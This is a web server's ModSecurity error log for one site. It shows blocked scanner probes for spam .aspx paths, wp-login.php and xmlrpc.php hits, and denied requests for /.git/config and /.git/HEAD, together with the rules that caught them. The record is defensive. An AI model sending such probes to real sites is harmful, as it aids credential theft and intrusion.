[Fri May 22 04:46:22.128839 2026] [:error] [pid 15679:tid 15686] [client 51.75.119.168:56604] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ag9vHih8tgGc38WJ-GxXigAAAMU"]
[Fri May 22 04:46:24.016648 2026] [:error] [pid 58813:tid 58822] [client 51.75.119.168:56612] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ag9vIJ6yyKWDKULhxJ3vQQAAAUY"]
[Fri May 22 04:46:26.045365 2026] [:error] [pid 58813:tid 58816] [client 51.75.119.168:56622] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ag9vIp6yyKWDKULhxJ3vQwAAAUA"]
[Fri May 22 04:46:27.936973 2026] [:error] [pid 15584:tid 15642] [client 51.75.119.168:33510] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ag9vI99Z_TVLbNEx52hpjgAAAFY"]
[Fri May 22 04:46:29.831451 2026] [:error] [pid 15584:tid 15639] [client 51.75.119.168:33518] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ag9vJd9Z_TVLbNEx52hpkwAAAFM"]
[Fri May 22 04:46:31.887074 2026] [:error] [pid 15584:tid 15620] [client 51.75.119.168:33528] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ag9vJ99Z_TVLbNEx52hpmQAAAEA"]
[Fri May 22 07:27:22.686889 2026] [:error] [pid 15583:tid 15595] [client 43.134.57.179:49136] [client 43.134.57.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag-U2nnaOncRcIm17YWEggAAAAc"]
[Fri May 22 07:55:29.339411 2026] [:error] [pid 58813:tid 58820] [client 35.209.83.189:55806] [client 35.209.83.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.209.83.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-bcZ6yyKWDKULhxJ0KwwAAAUQ"], referer: https://gigfragments.org/login/
[Fri May 22 08:29:26.398604 2026] [:error] [pid 15679:tid 15682] [client 49.51.233.95:37270] [client 49.51.233.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag-jZih8tgGc38WJ-GyRuAAAAME"]
[Fri May 22 09:40:46.466666 2026] [:error] [pid 15584:tid 15632] [client 137.184.39.6:51126] [client 137.184.39.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.39.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-0Ht9Z_TVLbNEx52iuMQAAAEw"]
[Fri May 22 09:40:48.492646 2026] [:error] [pid 15679:tid 15701] [client 137.184.39.6:54136] [client 137.184.39.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.39.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-0ICh8tgGc38WJ-GyyMwAAANQ"]
[Fri May 22 09:41:33.694472 2026] [:error] [pid 15585:tid 15665] [client 54.253.157.231:49480] [client 54.253.157.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.253.157.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-0TSKb-vB41AF-LC2g6AAAAJI"]
[Fri May 22 09:41:35.914457 2026] [:error] [pid 15583:tid 15603] [client 54.253.157.231:47111] [client 54.253.157.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.253.157.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-0T3naOncRcIm17YWkUQAAAA8"]
[Fri May 22 09:43:27.089379 2026] [:error] [pid 15679:tid 15689] [client 146.190.137.23:62613] [client 146.190.137.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.137.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-0vyh8tgGc38WJ-GyzEwAAAMg"]
[Fri May 22 09:43:28.981186 2026] [:error] [pid 58813:tid 58827] [client 146.190.137.23:64280] [client 146.190.137.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.137.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag-0wJ6yyKWDKULhxJ0hTgAAAUs"]
[Fri May 22 10:23:23.986857 2026] [:error] [pid 15584:tid 15636] [client 137.184.39.6:60497] [client 137.184.39.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.39.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag--G99Z_TVLbNEx52i1hAAAAFA"]
[Fri May 22 10:44:19.246675 2026] [:error] [pid 15584:tid 15642] [client 173.239.214.65:60137] [client 173.239.214.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "ag_DA99Z_TVLbNEx52i56QAAAFY"]
[Fri May 22 12:17:24.973056 2026] [:error] [pid 15585:tid 15648] [client 175.27.163.171:59860] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag_Y1CKb-vB41AF-LC3bigAAAIE"]
[Fri May 22 12:36:00.752637 2026] [:error] [pid 15583:tid 15592] [client 152.59.144.44:61395] [client 152.59.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.144.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag_dMHnaOncRcIm17YXC5wAAAAQ"]
[Fri May 22 12:36:21.659882 2026] [:error] [pid 15679:tid 15686] [client 152.59.144.44:61972] [client 152.59.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.144.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag_dRSh8tgGc38WJ-GzhzAAAAMU"]
[Fri May 22 12:36:32.481437 2026] [:error] [pid 58782:tid 58796] [client 152.59.144.44:62319] [client 152.59.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.144.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag_dUIxsdTFafgO8vhTl0QAAAQw"]
[Fri May 22 12:36:42.951415 2026] [:error] [pid 58782:tid 58799] [client 152.59.144.44:62680] [client 152.59.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.144.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag_dWoxsdTFafgO8vhTl2QAAAQ8"]
[Fri May 22 12:36:53.696841 2026] [:error] [pid 15585:tid 15652] [client 152.59.144.44:63071] [client 152.59.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.144.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag_dZSKb-vB41AF-LC3jNgAAAIU"]
[Fri May 22 12:57:57.120711 2026] [:error] [pid 15583:tid 15605] [client 43.161.251.162:37538] [client 43.161.251.162] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag_iVXnaOncRcIm17YXGrQAAABE"]
[Fri May 22 12:58:53.375575 2026] [:error] [pid 58813:tid 58835] [client 31.220.51.60:50520] [client 31.220.51.60] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ag_ijZ6yyKWDKULhxJ1AbwAAAVM"]
[Fri May 22 12:58:54.091069 2026] [:error] [pid 58782:tid 58792] [client 31.220.51.60:50546] [client 31.220.51.60] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "ag_ijoxsdTFafgO8vhTpggAAAQg"]
[Fri May 22 15:43:36.688777 2026] [:error] [pid 15585:tid 15654] [client 94.154.239.69:41506] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ahAJKCKb-vB41AF-LC0pgQAAAIc"]
[Fri May 22 15:43:38.641395 2026] [:error] [pid 15585:tid 15669] [client 94.154.239.69:53404] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ahAJKiKb-vB41AF-LC0phwAAAJY"]
[Fri May 22 15:43:40.613491 2026] [:error] [pid 15584:tid 15632] [client 94.154.239.69:53414] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ahAJLN9Z_TVLbNEx52j5iQAAAEw"]
[Fri May 22 15:43:42.605624 2026] [:error] [pid 15583:tid 15611] [client 94.154.239.69:53966] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ahAJLnnaOncRcIm17YXmYgAAABc"]
[Fri May 22 15:43:44.429097 2026] [:error] [pid 58782:tid 58792] [client 94.154.239.69:53970] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ahAJMIxsdTFafgO8vhQByQAAAQg"]
[Fri May 22 15:43:46.409392 2026] [:error] [pid 15584:tid 15628] [client 94.154.239.69:53986] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ahAJMt9Z_TVLbNEx52j5kQAAAEg"]
[Fri May 22 15:43:48.243320 2026] [:error] [pid 15584:tid 15640] [client 94.154.239.69:53990] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ahAJNN9Z_TVLbNEx52j5lgAAAFQ"]
[Fri May 22 15:43:50.217347 2026] [:error] [pid 15584:tid 15635] [client 94.154.239.69:53998] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ahAJNt9Z_TVLbNEx52j5mgAAAE8"]
[Fri May 22 15:43:52.050406 2026] [:error] [pid 15583:tid 15592] [client 94.154.239.69:53322] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ahAJOHnaOncRcIm17YXmeQAAAAQ"]
[Fri May 22 15:43:54.024808 2026] [:error] [pid 15584:tid 15621] [client 94.154.239.69:53332] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ahAJOt9Z_TVLbNEx52j5oQAAAEE"]
[Fri May 22 15:43:56.002020 2026] [:error] [pid 15679:tid 15695] [client 94.154.239.69:53336] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ahAJPCh8tgGc38WJ-GwabQAAAM4"]
[Fri May 22 15:43:57.975120 2026] [:error] [pid 58813:tid 58822] [client 94.154.239.69:53340] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ahAJPZ6yyKWDKULhxJ1dVAAAAUY"]
[Fri May 22 15:43:59.959338 2026] [:error] [pid 15585:tid 15651] [client 94.154.239.69:53356] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ahAJPyKb-vB41AF-LC0pmwAAAIQ"]
[Fri May 22 15:44:01.937687 2026] [:error] [pid 15585:tid 15655] [client 94.154.239.69:40284] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ahAJQSKb-vB41AF-LC0powAAAIg"]
[Fri May 22 15:44:03.915730 2026] [:error] [pid 58813:tid 58840] [client 94.154.239.69:40296] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ahAJQ56yyKWDKULhxJ1dXAAAAVg"]
[Fri May 22 15:44:05.740557 2026] [:error] [pid 15583:tid 15610] [client 94.154.239.69:40306] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ahAJRXnaOncRcIm17YXmigAAABY"]
[Fri May 22 15:44:07.718502 2026] [:error] [pid 15583:tid 15591] [client 94.154.239.69:40314] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahAJR3naOncRcIm17YXmkAAAAAM"]
[Fri May 22 15:44:09.545006 2026] [:error] [pid 15583:tid 15589] [client 94.154.239.69:40324] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ahAJSXnaOncRcIm17YXmkgAAAAE"]
[Fri May 22 15:44:11.525055 2026] [:error] [pid 15583:tid 15600] [client 94.154.239.69:33948] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ahAJS3naOncRcIm17YXmlQAAAAw"]
[Fri May 22 15:44:13.356545 2026] [:error] [pid 15584:tid 15621] [client 94.154.239.69:33960] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahAJTd9Z_TVLbNEx52j5tQAAAEE"]
[Fri May 22 15:44:15.324169 2026] [:error] [pid 58782:tid 58799] [client 94.154.239.69:33974] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahAJT4xsdTFafgO8vhQB-gAAAQ8"]
[Fri May 22 15:44:17.151120 2026] [:error] [pid 15584:tid 15630] [client 94.154.239.69:33976] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ahAJUd9Z_TVLbNEx52j5xwAAAEo"]
[Fri May 22 15:44:19.139550 2026] [:error] [pid 58813:tid 58826] [client 94.154.239.69:33990] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ahAJU56yyKWDKULhxJ1dbgAAAUo"]
[Fri May 22 15:44:21.121482 2026] [:error] [pid 15679:tid 15693] [client 94.154.239.69:51184] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ahAJVSh8tgGc38WJ-GwamwAAAMw"]
[Fri May 22 15:44:23.096714 2026] [:error] [pid 15583:tid 15600] [client 94.154.239.69:51194] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ahAJV3naOncRcIm17YXmoAAAAAw"]
[Fri May 22 15:44:25.075526 2026] [:error] [pid 15583:tid 15597] [client 94.154.239.69:51198] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ahAJWXnaOncRcIm17YXmpAAAAAk"]
[Fri May 22 15:44:27.059071 2026] [:error] [pid 15583:tid 15591] [client 94.154.239.69:51200] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ahAJW3naOncRcIm17YXmqAAAAAM"]
[Fri May 22 15:44:29.036644 2026] [:error] [pid 58813:tid 58823] [client 94.154.239.69:51204] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ahAJXZ6yyKWDKULhxJ1dcwAAAUc"]
[Fri May 22 15:44:30.858325 2026] [:error] [pid 15583:tid 15594] [client 94.154.239.69:56524] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ahAJXnnaOncRcIm17YXmrwAAAAY"]
